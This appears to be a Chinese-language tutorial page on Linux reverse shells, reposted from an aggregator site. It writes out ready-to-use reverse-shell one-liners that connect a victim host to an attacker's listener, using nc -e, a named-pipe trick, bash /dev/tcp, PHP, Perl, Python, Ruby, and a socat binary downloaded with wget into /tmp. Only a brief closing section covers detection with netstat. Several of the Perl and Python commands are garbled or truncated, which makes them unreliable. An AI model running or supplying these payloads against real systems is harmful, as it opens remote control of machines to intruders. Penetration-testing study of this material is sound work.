Linux 反d Shell

Linux 反d Shell,第1张

概述攻击场景 Attacker:192.168.0.106 win10 Victim:192.168.2.140 kali NC 反d shell Netcat简介 俗称瑞士军刀或NC,小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接地或容易地驱动。 同时,nc又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非 攻击场景

Attacker:192.168.0.106 win10

Victim:192.168.2.140 kali

NC 反d shell Netcat简介

俗称瑞士军刀或NC,小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接地或容易地驱动。

同时,nc又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。渗透测试中,linux主机一般自带nc,windows主机需要自行上传。

姿势一

如果目标主机(受害机)支持“-e”选项的话,我们就可以直接进行利用。

ps:为什么我们要在受害机的shell中反dshell,因为有时候我们所连接的shell,执行命令时没有回显。

在Attack上开监听端口

C:\Users\Joker>nc -l -p 2222

在受害机的shell中反dshell

(www-data:/var/www/HTML) $ nc 192.168.0.106 2222 -e /bin/bash

在Attack上 *** 作

暂时只是一个没有命令提示符的shell

在这里可以用python来得到一个有交互式的shell

python -c "import pty; pty.spawn(‘/bin/bash‘)"    

ps:python2/3

姿势二

利用 nc 与 管道 |

mknod backpipe p; nc 192.168.88.129(监听IP) 8888(监听Port) 0<backpipe | /bin/bash 1>backpipe 2>backpipe

mknod backpipe p; nc 192.168.0.106 8888 0<backpipe | /bin/bash 1>backpipe 2>backpipe

使用管道符 | 连接nc的输出与bash的输入,使用自己创建的管道 backpipe连接/bin/bash的输出与nc的输入。
优点:适用于nc的 -e参数被禁。
缺点:会在当前目录下创建一个名为backpipe的管道文件,容易被管理员发现。

 

bash 反d shell Attack监听
nc -lvvp 7777
Victim反d
bash -i >& /dev/tcp/192.168.0.106/8888 0>&1

ps:

bash -i是打开一个交互的bash。

/dev/tcp/是linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,linux中还存在/dev/udp/。

 

PHP 反d shell Attack监听
nc -lvvp 4444
Victim反d
PHP -r $sock=fsockopen("192.168.0.106",4444);exec("/bin/sh -i <&3 >&3 2>&3");PHP -r $sock=fsockopen("192.168.0.106",4444);exec("/bin/bash -i <&3 >&3 2>&3");

 

 

perl 反d shell Attack监听
nc -lvvp 4444
Victim反d
perl -e use Socket;$i="192.168.0.106";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};perl -e use Socket;$i="192.168.0.106";$p=4444;socket(S,">&S");exec("/bin/bash -i");};
python 反d shell Attack监听
nc -lvvp 5555
Victim反d
python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.soCK_STREAM);s.connect(("192.168.0.106",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);python -c import socket,2);p=subprocess.call(["/bin/sh","-i"]);

 

ps:python2/3

 

socat 反d shell Attack监听
nc -lvvp 12345
Victim反d

下载socat到/tmp目录下

wget -q https://github.com/andrew-d/static-binarIEs/raw/master/binarIEs/linux/x86_64/socat -O /tmp/socat 

给socat授予可以执行权限

chmod 755 /tmp/socat 

反dshell到目标主机的12345端口

/tmp/socat exec:bash -li,pty,stderr,setsID,sigint,sane tcp:192.168.0.106:12345        
ruby 反d shell Attack监听
nc -lvvp 5555
Victim反d
ruby -rsocket -e‘f=Tcpsocket.open("192.168.0.106",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f)‘
排查&杀掉反d shell  Search Command
→ ∮ ← :~# netstat -anop | grep ESTABliSHED

 

Kill Command
kill -9 4065
总结

以上是内存溢出为你收集整理的Linux 反d Shell全部内容,希望文章能够帮你解决Linux 反d Shell所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/1020114.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-23
下一篇 2022-05-23

发表评论

登录后才能评论

评论列表(0条)

保存